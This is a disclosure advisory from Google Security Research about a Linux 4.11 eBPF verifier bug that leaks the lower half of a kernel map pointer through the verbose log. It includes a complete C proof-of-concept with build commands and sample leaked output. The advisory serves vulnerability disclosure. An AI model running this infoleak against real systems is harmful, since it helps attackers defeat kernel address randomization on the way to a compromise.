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Linux eBPF Verify Log Leak

Linux eBPF Verify Log Leak
Posted May 23, 2017
Authored by Jann Horn, Google Security Research

On Linux, the eBPF verifier log leaks the lower half of a map pointer.

tags | advisory
systems | linux
MD5 | 4dc6117fdf8c57334009b5e438357d7d

Linux eBPF Verify Log Leak

Change Mirror Download
 Linux: eBPF verifier log leaks lower half of map pointer 




When the eBPF verifier (kernel/bpf/verifier.c) runs in verbose mode,
it dumps all processed instructions to a user-accessible buffer in
human-readable form using print_bpf_insn(). For instructions with
class BPF_LD and mode BPF_IMM, it prints the raw 32-bit value:

} else if (class == BPF_LD) {
if (BPF_MODE(insn->code) == BPF_ABS) {
[...]
} else if (BPF_MODE(insn->code) == BPF_IND) {
[...]
} else if (BPF_MODE(insn->code) == BPF_IMM) {
verbose("(%02x) r%d = 0x%x\n",
insn->code, insn->dst_reg, insn->imm);
} else {
[...]
}
} else if (class == BPF_JMP) {

This is done in do_check(), after replace_map_fd_with_map_ptr() has
executed. replace_map_fd_with_map_ptr() stores the lower half of a raw
pointer in all instructions with class BPF_LD, mode BPF_IMM and size
BPF_DW (map references).

So when verbose verification is performed on a program with a map
reference, the lower half of the pointer to the map becomes visible to
the user:

$ cat bpf_pointer_leak_poc.c
#define _GNU_SOURCE
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/bpf.h>
#include <err.h>
#include <stdio.h>
#include <stdint.h>

#define BPF_LD_IMM64_RAW(DST, SRC, IMM) \
((struct bpf_insn) { \
.code = BPF_LD | BPF_DW | BPF_IMM, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = (__u32) (IMM) }), \
((struct bpf_insn) { \
.code = 0, /* zero is reserved opcode */ \
.dst_reg = 0, \
.src_reg = 0, \
.off = 0, \
.imm = ((__u64) (IMM)) >> 32 })
#define BPF_LD_MAP_FD(DST, MAP_FD) \
BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)
#define BPF_MOV64_IMM(DST, IMM) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_MOV | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })
#define BPF_EXIT_INSN() \
((struct bpf_insn) { \
.code = BPF_JMP | BPF_EXIT, \
.dst_reg = 0, \
.src_reg = 0, \
.off = 0, \
.imm = 0 })

#define ARRSIZE(x) (sizeof(x) / sizeof((x)[0]))

int bpf_(int cmd, union bpf_attr *attrs) {
return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs));
}

int main(void) {
union bpf_attr create_map_attrs = {
.map_type = BPF_MAP_TYPE_ARRAY,
.key_size = 4,
.value_size = 1,
.max_entries = 1
};
int mapfd = bpf_(BPF_MAP_CREATE, &create_map_attrs);
if (mapfd == -1)
err(1, "map create");

struct bpf_insn insns[] = {
BPF_LD_MAP_FD(BPF_REG_0, mapfd),
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN()
};
char verifier_log[10000];
union bpf_attr create_prog_attrs = {
.prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
.insn_cnt = ARRSIZE(insns),
.insns = (uint64_t)insns,
.license = (uint64_t)"",
.log_level = 1,
.log_size = sizeof(verifier_log),
.log_buf = (uint64_t)verifier_log
};
int progfd = bpf_(BPF_PROG_LOAD, &create_prog_attrs);
if (progfd == -1)
err(1, "prog load");

puts(verifier_log);
}
$ gcc -o bpf_pointer_leak_poc bpf_pointer_leak_poc.c -Wall -std=gnu99 -I~/linux/usr/include
$ ./bpf_pointer_leak_poc
0: (18) <a href="https://crrev.com/0" title="" class="" rel="nofollow">r0</a> = 0xd9da1c80
2: (b7) <a href="https://crrev.com/0" title="" class="" rel="nofollow">r0</a> = 0
3: (95) exit
processed 3 insns

Tested with kernel 4.11.

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.



Found by: jannh

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